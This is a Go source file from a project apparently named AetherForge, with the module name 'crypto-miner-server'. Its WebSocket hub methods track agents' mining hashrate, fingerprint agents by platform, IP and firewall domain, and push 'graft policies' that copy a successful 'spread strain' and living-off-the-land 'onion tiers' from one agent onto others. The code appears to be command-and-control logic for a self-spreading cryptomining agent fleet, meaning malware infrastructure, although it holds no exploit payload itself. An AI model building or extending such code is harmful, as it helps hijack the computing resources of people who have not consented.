Files
AetherForge/server/internal/api/graft_ws.go
AetherForge d605ef4adb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Strain Hospice for graceful low-win strain retirement.
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
2026-06-07 09:26:39 -07:00

165 lines
5.0 KiB
Go

package api
import (
"encoding/json"
"fmt"
"strings"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/strategy"
)
// ServerPolicy returns the live Calibrate policy snapshot for REST handlers.
func (h *WSHub) ServerPolicy() ServerPolicy {
if h == nil {
return ServerPolicy{}
}
return h.serverPolicySnapshot()
}
// AgentJoinLane returns the last stats-reported join lane for an agent.
func (h *WSHub) AgentJoinLane(agentID string) string {
if h == nil {
return ""
}
h.mu.RLock()
defer h.mu.RUnlock()
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
if lane, ok := telem["join_lane"].(string); ok {
return strings.TrimSpace(lane)
}
}
return ""
}
// AgentMiningHashrate returns live mining hashrate from the last stats tick.
func (h *WSHub) AgentMiningHashrate(agentID string) float64 {
if h == nil {
return 0
}
h.mu.RLock()
defer h.mu.RUnlock()
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
return hr
}
if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 {
return hr
}
}
return 0
}
// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite.
func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) {
if h == nil || h.db == nil {
return nil, false
}
ag, err := h.db.GetAgent(agentID)
if err != nil || ag == nil {
return nil, false
}
if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil {
return nil, false
}
policy := h.serverPolicySnapshot()
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
return nil, false
}
graft := strategy.GraftSource{
GraftSourceStrain: ag.GraftSourceStrain,
GraftTier: ag.GraftTier,
}
targetOrder := policy.LotlOnionTiers
if len(targetOrder) == 0 {
targetOrder = fleetai.DefaultSpreadTiers()
}
out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt)
return &out, true
}
// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push).
func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error {
if h == nil {
return fmt.Errorf("hub unavailable")
}
body, err := json.Marshal(graft)
if err != nil {
return err
}
return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body})
}
// ApproveFleetGraft splices source winner onto target; used by REST and court executor.
func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) {
if h == nil || h.db == nil {
return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable")
}
policy := h.serverPolicySnapshot()
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled")
}
source, err := h.db.GetAgent(sourceID)
if err != nil || source == nil {
return strategy.GraftPolicy{}, fmt.Errorf("source agent not found")
}
target, err := h.db.GetAgent(targetID)
if err != nil || target == nil {
return strategy.GraftPolicy{}, fmt.Errorf("target agent not found")
}
joinLane := h.AgentJoinLane(sourceID)
if joinLane == "" {
joinLane = strings.TrimSpace(source.JoinLane)
}
if joinLane == "" {
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
}
sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain)
if sourceStrain == "" {
sourceStrain = strategy.StrainFromSpreadLane(joinLane)
}
if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil {
return strategy.GraftPolicy{}, err
} else if inHospice {
return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)")
}
hr := h.AgentMiningHashrate(targetID)
if hr <= 0 {
hr = target.MiningHashrate
}
if hr <= 0 {
hr = target.Hashrate15s
}
if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) {
return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate")
}
tierOrder := fleetai.DefaultSpreadTiers()
fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain)
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
if len(pheno.TierOrder) > 0 {
tierOrder = pheno.TierOrder
}
}
peak := h.AgentMiningHashrate(sourceID)
if peak <= 0 {
peak = source.MiningHashrate
}
graft := strategy.BuildGraftSourceFromAgent(
source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak,
)
approvedAt := time.Now().UTC()
if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil {
return strategy.GraftPolicy{}, err
}
targetOrder := policy.LotlOnionTiers
if len(targetOrder) == 0 {
targetOrder = fleetai.DefaultSpreadTiers()
}
out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt)
_ = h.PushGraftPolicy(targetID, out)
return out, nil
}